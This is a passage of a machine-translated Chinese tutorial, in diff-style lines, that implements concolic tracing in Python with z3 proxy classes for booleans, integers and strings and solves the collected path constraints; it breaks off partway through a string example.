+假定存在一个在其下执行程序的符号上下文（即在程序执行中使用的符号变量），我们定义了一个称为`ConcolicTracer`的上下文管理器，用于跟踪上下文。
+
+`ConcolicTracer`接受一个参数，该参数包含到目前为止所看到的符号变量的声明以及前提条件（如果有）。
+
+```py
+class ConcolicTracer:
+    def __init__(self, context=None):
+        self.context = context if context is not None else ({}, [])
+        self.decls, self.path = self.context
+
+```
+
+我们为上下文管理器添加了`enter`和`exit`方法。
+
+```py
+class ConcolicTracer(ConcolicTracer):
+    def __enter__(self):
+        return self
+
+    def __exit__(self, exc_type, exc_value, tb):
+        return
+
+```
+
+我们使用自省来确定函数的参数，该参数已挂接到`getitem`方法中。
+
+```py
+class ConcolicTracer(ConcolicTracer):
+    def __getitem__(self, fn):
+        self.fn = fn
+        self.fn_args = {i: None for i in inspect.signature(fn).parameters}
+        return self
+
+```
+
+最后，使用`call`方法调用函数本身。
+
+```py
+class ConcolicTracer(ConcolicTracer):
+    def __call__(self, *args):
+        self.result = self.fn(*self.concolic(args))
+        return self.result
+
+```
+
+现在，我们将`concolic()`定义为透明函数。 稍后将对其进行修改以生成符号变量。
+
+```py
+class ConcolicTracer(ConcolicTracer):
+    def concolic(self, args):
+        return args
+
+```
+
+可以如下使用
+
+```py
+with ConcolicTracer() as _:
+    _[factorial](1)
+
+```
+
+```py
+_.context
+
+```
+
+```py
+({}, [])
+
+```
+
+`context`为空，因为我们尚未将必要的基础结构连接到`ConcolicTracer`。
+
+### 辅助代理对象
+
+现在，我们定义可用于策略跟踪的策略代理对象。 首先，我们定义`zproxy_create()`方法，该方法给出了一个类名，正确地创建了该类的实例，以及符号对应变量，并将该符号变量注册到上下文信息`context`中。
+
+```py
+def zproxy_create(cls, sname, z3var, context, zn, v=None):
+    zv = cls(context, z3var(zn), v)
+    context[0][zn] = sname
+    return zv
+
+```
+
+#### 布尔值的代理类
+
+首先，我们定义`zbool`类，该类用于跟踪遇到的谓词。 它是一个包装类，包含符号（`z`）和具体（`v`）值。 具体值用于确定采用哪个路径，而符号值用于收集遇到的谓词。
+
+初始化分为两个部分。 第一个是使用`zproxy_create()`正确初始化和注册与传递的参数相对应的影子符号变量。 仅在需要首先初始化符号变量时使用此选项。 在所有其他情况下，将使用预先存在的符号值来调用构造函数。
+
+```py
+class zbool:
+    @classmethod
+    def create(cls, context, zn, v):
+        return zproxy_create(cls, 'Bool', z3.Bool, context, zn, v)
+
+    def __init__(self, context, z, v=None):
+        self.context, self.z, self.v = context, z, v
+        self.decl, self.path = self.context
+
+```
+
+这是如何使用它。
+
+```py
+with ConcolicTracer() as _:
+    za, zb = z3.Ints('a b')
+    val = zbool.create(_.context, 'my_bool_arg', True)
+    print(val.z, val.v)
+_.context
+
+```
+
+```py
+my_bool_arg True
+
+```
+
+```py
+({'my_bool_arg': 'Bool'}, [])
+
+```
+
+##### 否定编码公式
+
+`zbool`类允许否定其具体值和符号值。
+
+```py
+class zbool(zbool):
+    def __not__(self):
+        return zbool(self.context, z3.Not(self.z), not self.v)
+
+```
+
+Here is how it can be used.
+
+```py
+with ConcolicTracer() as _:
+    val = zbool.create(_.context, 'my_bool_arg', True).__not__()
+    print(val.z, val.v)
+_.context
+
+```
+
+```py
+Not(my_bool_arg) False
+
+```
+
+```py
+({'my_bool_arg': 'Bool'}, [])
+
+```
+
+##### 在条件[上注册谓词](#Registering-Predicates-on-Conditionals)
+
+`zbool`类用于跟踪程序执行过程中出现的布尔条件。 它通过在上下文中注册相应的符号表达式来跟踪此类条件。
+
+```py
+class zbool(zbool):
+    def __bool__(self):
+        r, pred = (True, self.z) if self.v else (False, z3.Not(self.z))
+        self.path.append(pred)
+        return r
+
+```
+
+`zbool`类可用于跟踪执行期间遇到的布尔值和条件。 例如，我们可以对`factorial()`中第6行遇到的条件进行编码，如下所示：
+
+首先，我们定义具体值（`ca`）及其阴影符号变量（`za`）。
+
+```py
+ca, za = 5, z3.Int('a')
+
+```
+
+然后，将其包装在`zbool`中，并在条件中使用它，强制条件在上下文中注册。
+
+```py
+with ConcolicTracer() as _:
+    if zbool(_.context, za == z3.IntVal(5), ca == 5):
+        print('success')
+
+```
+
+```py
+success
+
+```
+
+我们可以按以下方式检索已注册的条件。
+
+```py
+_.path
+
+```
+
+```py
+[5 == a]
+
+```
+
+#### 整数的代理类
+
+接下来，我们为`int`定义符号包装器`zint`。 此类跟踪`context`中使用的int变量和遇到的谓词。 最后，它还会保留所使用的具体值，以便可以用来确定采用的路径。 随着`zint`扩展原始`int`类，我们必须定义*新的*方法以将其打开以进行扩展。
+
+```py
+class zint(int):
+    def __new__(cls, context, zn, v, *args, **kw):
+        return int.__new__(cls, v, *args, **kw)
+
+```
+
+与`zbool`一样，初始化分为两部分。 如果正在注册新的符号参数，则首先使用`create()`，然后使用常规初始化。
+
+```py
+class zint(zint):
+    @classmethod
+    def create(cls, context, zn, v=None):
+        return zproxy_create(cls, 'Int', z3.Int, context, zn, v)
+
+    def __init__(self, context, z, v=None):
+        self.z, self.v = z, v
+        self.context = context
+
+```
+
+`zint`对象的`int`值是其具体值。
+
+```py
+class zint(zint):
+    def __int__(self):
+        return self.v
+
+    def __pos__(self):
+        return self.v
+
+```
+
+使用这些代理如下。
+
+```py
+with ConcolicTracer() as _:
+    val = zint.create(_.context, 'int_arg', 0)
+    print(val.z, val.v)
+_.context
+
+```
+
+```py
+int_arg 0
+
+```
+
+```py
+({'int_arg': 'Int'}, [])
+
+```
+
+`zint`类通常用于与其他`int`进行算术运算或比较。 这些`int`可以是变量，也可以是常数。 我们定义了一个辅助方法`_zv()`，该方法检查给定值是哪种`int`，并产生正确的符号等效项。
+
+```py
+class zint(zint):
+    def _zv(self, o):
+        return (o.z, o.v) if isinstance(o, zint) else (z3.IntVal(o), o)
+
+```
+
+It can be used as follows
+
+```py
+with ConcolicTracer() as _:
+    val = zint.create(_.context, 'int_arg', 0)
+    print(val._zv(0))
+    print(val._zv(val))
+
+```
+
+```py
+(0, 0)
+(int_arg, 0)
+
+```
+
+##### 整数之间的相等性
+
+可以使用 *ne* 和 *eq* 比较两个整数的相等性。
+
+```py
+class zint(zint):
+    def __ne__(self, other):
+        z, v = self._zv(other)
+        return zbool(self.context, self.z != z, self.v != v)
+
+    def __eq__(self, other):
+        z, v = self._zv(other)
+        return zbool(self.context, self.z == z, self.v == v)
+
+```
+
+如果要比较的int位于左侧，我们还使用 *eq* 定义 *req* 。
+
+```py
+class zint(zint):
+    def __req__(self, other):
+        return self.__eq__(other)
+
+```
+
+可以如下使用。
+
+```py
+with ConcolicTracer() as _:
+    ia = zint.create(_.context, 'int_a', 0)
+    ib = zint.create(_.context, 'int_b', 0)
+    v1 = ia == ib
+    v2 = ia != ib
+    v3 = 0 != ib
+    print(v1.z, v2.z, v3.z)
+
+```
+
+```py
+int_a == int_b int_a != int_b 0 != int_b
+
+```
+
+##### 整数之间的比较
+
+还可以比较整数的排序方式，下面定义了此方法。
+
+```py
+class zint(zint):
+    def __lt__(self, other):
+        z, v = self._zv(other)
+        return zbool(self.context, self.z < z, self.v < v)
+
+    def __gt__(self, other):
+        z, v = self._zv(other)
+        return zbool(self.context, self.z > z, self.v > v)
+
+```
+
+我们使用比较和相等运算符来提供其他缺少的运算符。
+
+```py
+class zint(zint):
+    def __le__(self, other):
+        z, v = self._zv(other)
+        return zbool(self.context, z3.Or(self.z < z, self.z == z),
+                     self.v < v or self.v == v)
+
+    def __ge__(self, other):
+        z, v = self._zv(other)
+        return zbool(self.context, z3.Or(self.z > z, self.z == z),
+                     self.v > v or self.v == v)
+
+```
+
+这些功能可以如下使用。
+
+```py
+with ConcolicTracer() as _:
+    ia = zint.create(_.context, 'int_a', 0)
+    ib = zint.create(_.context, 'int_b', 1)
+    v1 = ia > ib
+    v2 = ia < ib
+    print(v1.z, v2.z)
+    v3 = ia >= ib
+    v4 = ia <= ib
+    print(v3.z, v4.z)
+
+```
+
+```py
+int_a > int_b int_a < int_b
+Or(int_a > int_b, int_a == int_b) Or(int_a < int_b, int_a == int_b)
+
+```
+
+##### 整数[的二进制运算符](#Binary-Operators-for-Integers)
+
+如 [Python文档](https://docs.python.org/3/reference/datamodel.html#object.__add__)中所述，我们为整数实现了相关的算术运算符。 （注释掉的运算符不能直接用于`z3.ArithRef`。如果需要，它们需要单独实现。有关如何实现的信息，请参见练习。）
+
+```py
+INT_BINARY_OPS = [
+    '__add__',
+    '__sub__',
+    '__mul__',
+    '__truediv__',
+    # '__div__',
+    '__mod__',
+    # '__divmod__',
+    '__pow__',
+    # '__lshift__',
+    # '__rshift__',
+    # '__and__',
+    # '__xor__',
+    # '__or__',
+    '__radd__',
+    '__rsub__',
+    '__rmul__',
+    '__rtruediv__',
+    # '__rdiv__',
+    '__rmod__',
+    # '__rdivmod__',
+    '__rpow__',
+    # '__rlshift__',
+    # '__rrshift__',
+    # '__rand__',
+    # '__rxor__',
+    # '__ror__',
+]
+
+```
+
+```py
+def make_int_binary_wrapper(fname, fun, zfun):
+    def proxy(self, other):
+        z, v = self._zv(other)
+        z_ = zfun(self.z, z)
+        v_ = fun(self.v, v)
+        if isinstance(v_, float):
+            # we do not implement float results yet.
+            assert round(v_) == v_
+            v_ = round(v_)
+        return zint(self.context, z_, v_)
+
+    return proxy
+
+```
+
+```py
+for fname in INT_BINARY_OPS:
+    fun = getattr(int, fname)
+    zfun = getattr(z3.ArithRef, fname)
+    setattr(zint, fname, make_int_binary_wrapper(fname, fun, zfun))
+
+```
+
+```py
+with ConcolicTracer() as _:
+    ia = zint.create(_.context, 'int_a', 0)
+    ib = zint.create(_.context, 'int_b', 1)
+    print((ia + ib).z)
+    print((ia + 10).z)
+    print((11 + ib).z)
+    print((ia - ib).z)
+    print((ia * ib).z)
+    print((ia / ib).z)
+    print((ia ** ib).z)
+
+```
+
+```py
+int_a + int_b
+int_a + 10
+11 + int_b
+int_a - int_b
+int_a*int_b
+int_a/int_b
+int_a**int_b
+
+```
+
+##### 整数一元运算符
+
+我们还实现了以下相关的一元运算符。
+
+```py
+INT_UNARY_OPS = [
+    '__neg__',
+    '__pos__',
+    # '__abs__',
+    # '__invert__',
+    # '__round__',
+    # '__ceil__',
+    # '__floor__',
+    # '__trunc__',
+]
+
+```
+
+```py
+def make_int_unary_wrapper(fname, fun, zfun):
+    def proxy(self):
+        return zint(self.context, zfun(self.z), fun(self.v))
+
+    return proxy
+
+```
+
+```py
+for fname in INT_UNARY_OPS:
+    fun = getattr(int, fname)
+    zfun = getattr(z3.ArithRef, fname)
+    setattr(zint, fname, make_int_unary_wrapper(fname, fun, zfun))
+
+```
+
+我们可以如下使用上面定义的一元运算符：
+
+```py
+with ConcolicTracer() as _:
+    ia = zint.create(_.context, 'int_a', 0)
+    print((-ia).z)
+    print((+ia).z)
+
+```
+
+```py
+-int_a
+int_a
+
+```
+
+##### 在布尔上下文中使用整数
+
+整数可以在条件语句中或作为布尔谓词（例如`or`，`and`和`not`）的一部分转换为布尔上下文。 在这些情况下，将调用`__bool__()`方法。 不幸的是，此方法需要一个原始的布尔值。 因此，我们将当前整数公式强制为布尔谓词，并将其注册到当前上下文中。
+
+```py
+class zint(zint):
+    def __bool__(self):
+        # return zbool(self.context, self.z, self.v) <-- not allowed
+        # force registering boolean condition
+        if self != 0:
+            return True
+        return False
+
+```
+
+它的用法如下
+
+```py
+with ConcolicTracer() as _:
+    za = zint.create(_.context, 'int_a', 1)
+    zb = zint.create(_.context, 'int_b', 0)
+    if za and zb:
+        print(1)
+
+```
+
+```py
+_.context
+
+```
+
+```py
+({'int_a': 'Int', 'int_b': 'Int'}, [0 != int_a, Not(0 != int_b)])
+
+```
+
+#### ConcolicTracer [的其余方法](#Remaining-Methods-of-the--ConcolicTracer)
+
+现在，我们完成了`ConcolicTracer`的一些方法。
+
+##### 转换为SMT表达式格式
+
+假设我们正在使用SMT规划求解z3，则为符号表达式检索对应的SMT表达式通常很有用。 可以将其用作`z3`或其他SMT求解器的参数。
+
+SMT表达式的格式（ [SMT-LIB](http://smtlib.github.io/jSMTLIB/SMTLIBTutorial.pdf) ）如下：
+
+*   [S-EXP](https://en.wikipedia.org/wiki/S-expression) 格式的变量声明。 例如。 以下内容声明了符号整数变量`x`
+
+    ```py
+    (declare-const x Int)
+    ```
+
+    这声明了长度`8`的`bit vector` `b`
+
+    ```
+    (declare-const b (_ BitVec 8))
+    ```
+
+    这声明了符号实型变量`r`
+
+    ```
+    (declare-const x Real)
+    ```
+
+    这声明了符号字符串变量`s`
+
+    ```
+    (declare-const s String)
+    ```
+
+声明的变量可用于以 *S-EXP* 格式编码的逻辑公式中。 例如，这是一个逻辑公式。
+
+```
+(assert
+    (and
+        (= a b)
+        (= a c)
+        (! b c)))
+```py
+
+这是另一个使用字符串变量的示例。
+
+```
+(or (< 0 (str.indexof (str.substr my_str1 7 19) " where " 0))
+    (= (str.indexof (str.substr my_str1 7 19) " where " 0) 0))
+```py
+
+```
+class ConcolicTracer(ConcolicTracer):
+    def smt_expr(self, show_decl=False, simplify=False, path=[]):
+        r = []
+        if show_decl:
+            for decl in self.decls:
+                v = self.decls[decl]
+                v = '(_ BitVec 8)' if v == 'BitVec' else v
+                r.append("(declare-const %s  %s)" % (decl, v))
+        path = path if path else self.path
+        if path:
+            path = z3.And(path)
+            if show_decl:
+                if simplify:
+                    return '\n'.join([
+                        *r,
+                        "(assert %s)" % z3.simplify(path).sexpr()
+                    ])
+                else:
+                    return '\n'.join(
+                        [*r, "(assert %s)" % path.sexpr()])
+            else:
+                return z3.simplify(path).sexpr()
+        else:
+            return ''
+
+```
+
+要查看如何使用`smt_expr()`，让我们考虑一个示例。 `triangle()`函数用于确定三角形的给定边是否导致`equilateral`三角形，`isosceles`三角形或`scalene`三角形。 它的实现如下。
+
+```py
+def triangle(a, b, c):
+    if a == b:
+        if b == c:
+            return 'equilateral'
+        else:
+            return 'isosceles'
+    else:
+        if b == c:
+            return 'isosceles'
+        else:
+            if a == c:
+                return 'isosceles'
+            else:
+                return 'scalene'
+
+```
+
+```py
+triangle(1, 2, 1)
+
+```
+
+```py
+'isosceles'
+
+```
+
+为了使其在`ConcolicTracer`下运行，我们首先定义参数。 所定义的三角形具有边`1, 1, 1`。 即它是`equilateral`三角形。
+
+```py
+with ConcolicTracer() as _:
+    za = zint.create(_.context, 'int_a', 1)
+    zb = zint.create(_.context, 'int_b', 1)
+    zc = zint.create(_.context, 'int_c', 1)
+    triangle(za, zb, zc)
+print(_.context)
+
+```
+
+```py
+({'int_a': 'Int', 'int_b': 'Int', 'int_c': 'Int'}, [int_a == int_b, int_b == int_c])
+
+```
+
+现在，我们可以调用`smt_expr()`来检索SMT表达式，如下所示。
+
+```py
+print(_.smt_expr(show_decl=True))
+
+```
+
+```py
+(declare-const int_a Int)
+(declare-const int_b Int)
+(declare-const int_c Int)
+(assert (and (= int_a int_b) (= int_b int_c)))
+
+```
+
+收集的谓词也可以使用Python z3 API直接解决。
+
+```py
+z3.solve(_.path)
+
+```
+
+```py
+[int_c = 0, int_a = 0, int_b = 0]
+
+```
+
+##### 生成新名称
+
+在使用代理类时，我们经常必须生成新的符号变量，其名称以前没有使用过。 为此，我们定义了`fresh_name()`，它始终为名称生成唯一的整数。
+
+```py
+COUNTER = 0
+
+```
+
+```py
+def fresh_name():
+    global COUNTER
+    COUNTER += 1
+    return COUNTER
+
+```
+
+It can be used as follows
+
+```py
+fresh_name()
+
+```
+
+```py
+1
+
+```
+
+##### 将参数翻译为辅助代理
+
+我们之前已将`concolic()`定义为透明函数。 现在，我们提供此功能的完整实现。 它检查给定函数的参数，并从传入的具体参数中推断出参数类型。然后，使用此信息为每个参数实例化正确的代理类。
+
+```py
+class ConcolicTracer(ConcolicTracer):
+    def concolic(self, args):
+        my_args = []
+        for name, arg in zip(self.fn_args, args):
+            t = type(arg).__name__
+            zwrap = globals()['z' + t]
+            vname = "%s_%s_%s_%s" % (self.fn.__name__, name, t, fresh_name())
+            my_args.append(zwrap.create(self.context, vname, arg))
+            self.fn_args[name] = vname
+        return my_args
+
+```
+
+这是如何使用的：
+
+```py
+with ConcolicTracer() as _:
+    _[factorial](5)
+
+```
+
+使用新的`concolic()`方法，阶乘的参数正确地与符号变量相关联，这使我们能够检索遇到的谓词。
+
+```py
+_.context
+
+```
+
+```py
+({'factorial_n_int_2': 'Int'},
+ [Not(0 > factorial_n_int_2),
+  Not(0 == factorial_n_int_2),
+  Not(1 == factorial_n_int_2),
+  0 != factorial_n_int_2,
+  0 != factorial_n_int_2 - 1,
+  0 != factorial_n_int_2 - 1 - 1,
+  0 != factorial_n_int_2 - 1 - 1 - 1,
+  0 != factorial_n_int_2 - 1 - 1 - 1 - 1,
+  Not(0 != factorial_n_int_2 - 1 - 1 - 1 - 1 - 1)])
+
+```
+
+和以前一样，我们也可以打印出SMT表达式，该表达式可以直接传递给命令行SMT求解器。
+
+```py
+print(_.smt_expr(show_decl=True))
+
+```
+
+```py
+(declare-const factorial_n_int_2 Int)
+(assert (let ((a!1 (distinct 0 (- (- (- factorial_n_int_2 1) 1) 1)))
+      (a!2 (- (- (- (- factorial_n_int_2 1) 1) 1) 1)))
+  (and (not (> 0 factorial_n_int_2))
+       (not (= 0 factorial_n_int_2))
+       (not (= 1 factorial_n_int_2))
+       (distinct 0 factorial_n_int_2)
+       (distinct 0 (- factorial_n_int_2 1))
+       (distinct 0 (- (- factorial_n_int_2 1) 1))
+       a!1
+       (distinct 0 a!2)
+       (not (distinct 0 (- a!2 1))))))
+
+```
+
+接下来，我们定义在Python中和从命令行评估SMT表达式的方法。
+
+##### 评估共轭表达式
+
+我们定义`zeval()`来解决上下文中的谓词，并返回结果。 它有两种模式。 `python`模式使用`z3` Python API求解并返回结果。 如果`python`模式为false，则它将SMT表达式写入文件，并调用命令行`z3`寻求解决方案。
+
+```py
+class ConcolicTracer(ConcolicTracer):
+    def zeval(self, python=False, log=False):
+        r, sol = (zeval_py if python else zeval_smt)(self.path, self, log)
+        if r == 'sat':
+            return r, {k: sol.get(self.fn_args[k], None) for k in self.fn_args}
+        else:
+            return r, None
+
+```
+
+##### 使用Python API
+
+给定一组函数遇到的谓词以及执行该函数的跟踪器，`zeval_py()`函数首先声明相关的符号变量，然后使用`z3.Solver()`提供一组跟踪相同路径的输入 通过功能。
+
+```py
+def zeval_py(path, cc, log):
+    for decl in cc.decls:
+        if cc.decls[decl] == 'BitVec':
+            v = "z3.%s('%s', 8)" % (cc.decls[decl], decl)
+        else:
+            v = "z3.%s('%s')" % (cc.decls[decl], decl)
+        exec(v)
+    s = z3.Solver()
+    s.add(z3.And(path))
+    if s.check() == z3.unsat:
+        return 'No Solutions', {}
+    elif s.check() == z3.unknown:
+        return 'Gave up', None
+    assert s.check() == z3.sat
+    m = s.model()
+    return 'sat', {d.name(): m[d] for d in m.decls()}
+
+```
+
+可以如下使用：
+
+```py
+with ConcolicTracer() as _:
+    _[factorial](5)
+
+```
+
+```py
+_.zeval(python=True)
+
+```
+
+```py
+('sat', {'n': 5})
+
+```
+
+也就是说，给定一组约束，分配`n == 5`符合所有约束。
+
+##### 使用命令行
+
+`zeval_smt()`函数将SMT表达式写入文件系统，然后调用`z3` SMT求解器命令行对其进行求解。 SMT表达的结果再次是`sexpr`。 因此，我们首先定义`parse_sexp()`以解析并返回正确的值。
+
+```py
+import [re](https://docs.python.org/3/library/re.html)
+
+```
+
+```py
+import [subprocess](https://docs.python.org/3/library/subprocess.html)
+
+```
+
+```py
+SEXPR_TOKEN = r'''(?mx)
+ \s*(?:
+ (?P<bra>\()|
+ (?P<ket>\))|
+ (?P<token>[^"()\s]+)|
+ (?P<string>"[^"]*")
+ )'''
+
+```
+
+```py
+def parse_sexp(sexp):
+    stack, res = [], []
+    for elements in re.finditer(SEXPR_TOKEN, sexp):
+        kind, value = [(t, v) for t, v in elements.groupdict().items() if v][0]
+        if kind == 'bra':
+            stack.append(res)
+            res = []
+        elif kind == 'ket':
+            last, res = res, stack.pop(-1)
+            res.append(last)
+        elif kind == 'token':
+            res.append(value)
+        elif kind == 'string':
+            res.append(value[1:-1])
+        else:
+            assert False
+    return res
+
+```
+
+`parse_sexp()`功能可以如下使用
+
+```py
+parse_sexp('abcd (hello 123 (world "hello world"))')
+
+```
+
+```py
+['abcd', ['hello', '123', ['world', 'hello world']]]
+
+```
+
+现在，我们定义`zeval_smt()`，它直接使用`z3`命令行，并使用`parse_sexp()`解析并返回函数参数的解（如果有）。
+
+```py
+import [tempfile](https://docs.python.org/3/library/tempfile.html)
+
+```
+
+```py
+def zeval_smt(path, cc, log):
+    s = cc.smt_expr(True, True, path)
+
+    with tempfile.NamedTemporaryFile(mode='w', suffix='.smt') as f:
+        f.write(s)
+        f.write("\n(check-sat)")
+        f.write("\n(get-model)")
+        f.flush()
+
+        if log:
+            print(s, '(check-sat)', '(get-model)', sep='\n')
+        output = subprocess.getoutput("z3 " + f.name)
+
+    if log:
+        print(output)
+    o = parse_sexp(output)
+    kind = o[0]
+    if kind == 'unknown':
+        return 'Gave up', None
+    elif kind == 'unsat':
+        return 'No Solutions', {}
+    assert kind == 'sat'
+    assert o[1][0] == 'model'
+    return 'sat', {i[1]: i[-1] for i in o[1][1:]}
+
+```
+
+现在，我们可以如下使用`zeval()`。
+
+```py
+with ConcolicTracer() as _:
+    _[factorial](5)
+
+```
+
+```py
+_.zeval()
+
+```
+
+```py
+('sat', {'n': '5'})
+
+```
+
+确实，使用命令行与使用Python API可获得相似的结果（`n == 5`）。
+
+#### 字符串[的代理类](#A-Proxy-Class-for-Strings)
+
+在这里，我们定义代理字符串类`zstr`。 首先，我们定义初始化例程。 由于`str`是原始类型，因此我们定义`new`对其进行扩展。
+
+```py
+class zstr(str):
+    def __new__(cls, context, zn, v):
+        return str.__new__(cls, v)
+
+```
+
+与以前一样，初始化将使用`create()`和构造函数进行。
+
+```py
+class zstr(zstr):
+    @classmethod
+    def create(cls, context, zn, v=None):
+        return zproxy_create(cls, 'String', z3.String, context, zn, v)
+
+    def __init__(self, context, z, v=None):
+        self.context, self.z, self.v = context, z, v
+        self._len = zint(context, z3.Length(z), len(v))
+        #self.context[1].append(z3.Length(z) == z3.IntVal(len(v)))
+
+```
+
+我们还定义了`_zv()`帮助器，以帮助我们提供接受另一个字符串的方法
+
+```py
+class zstr(zstr):
+    def _zv(self, o):
+        return (o.z, o.v) if isinstance(o, zstr) else (z3.StringVal(o), o)
+
+```
+
+##### 检索序数值
+
+我们定义`zord`，给定一个符号长字符串，为此获得`ord()`。 它返回两个值。 第一个是与`ord()`对应的变量，第二个是将变量链接到传入的单个字符串的谓词。
+
+```py
+def zord(context, c):
+    bn = "bitvec_%d" % fresh_name()
+    v = z3.BitVec(bn, 8)
+    context[0][bn] = 'BitVec'
+    z = (z3.Unit(v) == c)
+    context[1].append(z)
+    return v
+
+```
+
+我们如下使用它
+
+```py
+zc = z3.String('arg_%d' % fresh_name())
+
+```
+
+```py
+with ConcolicTracer() as _:
+    zi = zord(_.context, zc)
+
+```
+
+符号位向量在`zi`中。 它链接到`context`中传入的参数
+
+```py
+_.context
+
+```
+
+```py
+({'bitvec_6': 'BitVec'}, [seq.unit(bitvec_6) == arg_5])
+
+```
+
+我们可以指定`ord()`的结果是什么，然后调用`z3.solve()`为我们提供可以提供所需结果的解决方案。
+
+```py
+z3.solve(_.path + [zi == 65])
+
+```
+
+```py
+[arg_5 = "A", bitvec_6 = 65]
+
+```
+
+##### 将有序值转换为ASCII
+
+同样，我们可以使用`zchr()`将ASCII值转换回单个字符串
+
+```py
+def zchr(context, i):
+    sn = 'string_%d' % fresh_name()
+    s = z3.String(sn)
+    context[0][sn] = 'String'
+    z = z3.And([s == z3.Unit(i), z3.Length(s) == 1])
+    context[1].append(z)
+    return s
+
+```
+
+为了使用它，我们首先定义一个8位长的位向量。
+
+```py
+i = z3.BitVec('bv_%d' % fresh_name(), 8)
+
+```
+
+现在，我们可以按以下方式检索`chr()`表示形式。
+
+```py
+with ConcolicTracer() as _:
+    zc = zchr(_.context, i)
+
+```
+
+```py
+_.context
+
+```
+
+```py
+({'string_8': 'String'},
+ [And(string_8 == seq.unit(bv_7), str.len(string_8) == 1)])
+
+```
+
+和以前一样，我们可以指定调用`chr()`的最终结果应该是获得原始参数。
+
+```py
+z3.solve(_.path + [zc == z3.StringVal('a')])
+
+```
+
+```py
+[bv_7 = 97, string_8 = "a"]
+
+```
+
+##### 字符串之间的相等
+
+`zstr`的相等性定义与`zint`相同
+
+```py
+class zstr(zstr):
+    def __eq__(self, other):
+        z, v = self._zv(other)
+        return zbool(self.context, self.z == z, self.v == v)
+
+    def __req__(self, other):
+        return self.__eq__(other)
+
+```
+
+`zstr`类的用法如下。
+
+```py
+def tstr1(s):
+    if s == 'h':
+        return True
+    else:
+        return False
+
+```
+
+```py
+with ConcolicTracer() as _:
+    r = _[tstr1]('h')
+
+```
+
+```py
+_.zeval()
+
+```
+
+```py
+('sat', {'s': 'h'})
+
+```
+
+即使我们有多个字符也可以使用。
+
+```py
+def tstr1(s):
+    if s == 'hello world':
+        return True
+    else:
+        return False
+
+```
+
+```py
+with ConcolicTracer() as _:
+    r = _[tstr1]('hello world')
+
+```
+
+```py
+_.context
+
+```
+
+```py
+({'tstr1_s_str_10': 'String'}, [tstr1_s_str_10 == "hello world"])
+
+```
+
+```py
+_.zeval()
+
+```
+
+```py
+('sat', {'s': 'hello world'})
+
+```
+
+##### 字符串串联
+
+如果我们需要连接两个字符串怎么办？ 我们需要其他帮助者来实现这一目标。
+
+```py
+class zstr(zstr):
+    def __add__(self, other):
+        z, v = self._zv(other)
+        return zstr(self.context, self.z + z, self.v + v)
+
+    def __radd__(self, other):
+        return self.__add__(other)
+
+```
+
+这是如何使用它。 首先，我们创建包装的参数
+
+```py
+with ConcolicTracer() as _:
+    v1, v2 = [zstr.create(_.context, 'arg_%d' % fresh_name(), s)
+              for s in ['hello', 'world']]
+    if (v1 + ' ' + v2) == 'hello world':
+        print('hello world')
+
+```
+
+```py
+hello world
+
+```
+
+符号变量的添加保留在`context`中
+
+```py
+_.context
+
+```
+
+```py
+({'arg_11': 'String', 'arg_12': 'String'},
+ [str.++(str.++(arg_11, " "), arg_12) == "hello world"])
+
+```
+
+##### 产生子字符串
+
+同样，访问子字符串也需要额外的帮助。
+
+```py
+class zstr(zstr):
+    def __getitem__(self, idx):
+        if isinstance(idx, slice):
+            start, stop, step = idx.indices(len(self.v))
+            assert step == 1  # for now
+            assert stop >= start  # for now
+            rz = z3.SubString(self.z, start, stop - start)
+            rv = self.v[idx]
+        elif isinstance(idx, int):
+            rz = z3.SubString(self.z, idx, 1)
+            rv = self.v[idx]
+        else:
+            assert False  # for now
+        return zstr(self.context, rz, rv)
+
+    def __iter__(self):
+        return zstr_iterator(self.context, self)
+
+```
+
+##### 字符串的迭代器类
+
+我们定义迭代器如下。
+
+```py
+class zstr_iterator():
+    def __init__(self, context, zstr):
+        self.context = context
+        self._zstr = zstr
+        self._str_idx = 0
+        self._str_max = zstr._len  # intz is not an _int_
+
+    def __next__(self):
+        if self._str_idx == self._str_max:  # intz#eq
+            raise StopIteration
+        c = self._zstr[self._str_idx]
+        self._str_idx += 1
+        return c
+
+    def __len__(self):
+        return self._len
+
+```
+
+Here is how it can be used.
+
+```py
+def tstr2(s):
+    if s[0] == 'h' and s[1] == 'e' and s[3] == 'l':
+        return True
+    else:
+        return False
+
+```
+
+```py
+with ConcolicTracer() as _:
+    r = _[tstr2]('hello')
+
+```
+
+同样，上下文显示遇到的谓词。
+
+```py
+_.context
+
+```
+
+```py
+({'tstr2_s_str_13': 'String'},
+ [str.substr(tstr2_s_str_13, 0, 1) == "h",
+  str.substr(tstr2_s_str_13, 1, 1) == "e",
+  str.substr(tstr2_s_str_13, 3, 1) == "l"])
+
+```
+
+函数`zeval()`返回谓词的解决方案。 请注意，返回的值不完全是我们传入的参数。这是我们拥有谓词的结果。 也就是说，我们对`s[2]`上的字符值没有限制。
+
+```py
+_.zeval()
+
+```
+
+```py
+('sat', {'s': 'he\\x00l'})
+
+```
+
+##### 转换为上下等效
+
+一个主要的并发症是支持`upper()`和`lower()`方法。 我们使用先前定义的`zchr()`和`zord()`函数来完成此操作。
+
+```py
+class zstr(zstr):
+    def upper(self):
+        empty = ''
+        ne = 'empty_%d' % fresh_name()
+        result = zstr.create(self.context, ne, empty)
+        self.context[1].append(z3.StringVal(empty) == result.z)
+        cdiff = (ord('a') - ord('A'))
+        for i in self:
+            oz = zord(self.context, i.z)
+            uz = zchr(self.context, oz - cdiff)
+            rz = z3.And([oz >= ord('a'), oz <= ord('z')])
+            ov = ord(i.v)
+            uv = chr(ov - cdiff)
+            rv = ov >= ord('a') and ov <= ord('z')
+            if zbool(self.context, rz, rv):
+                i = zstr(self.context, uz, uv)
+            else:
+                i = zstr(self.context, i.z, i.v)
+            result += i
+        return result
+
+```
+
+`lower()`功能类似于`upper()`，不同之处在于字符范围已切换，并且小写字母位于大写字母上方。 因此，我们将差异添加到序数上以使字符变为小写。
+
+```py
+class zstr(zstr):
+    def lower(self):
+        empty = ''
+        ne = 'empty_%d' % fresh_name()
+        result = zstr.create(self.context, ne, empty)
+        self.context[1].append(z3.StringVal(empty) == result.z)
+        cdiff = (ord('a') - ord('A'))
+        for i in self:
+            oz = zord(self.context, i.z)
+            uz = zchr(self.context, oz + cdiff)
+            rz = z3.And([oz >= ord('A'), oz <= ord('Z')])
+            ov = ord(i.v)
+            uv = chr(ov + cdiff)
+            rv = ov >= ord('A') and ov <= ord('Z')
+            if zbool(self.context, rz, rv):
+                i = zstr(self.context, uz, uv)
+            else:
+                i = zstr(self.context, i.z, i.v)
+            result += i
+        return result
+
+```
+
+使用方法如下。
+
+```py
+def tstr3(s):
+    if s.upper() == 'H':
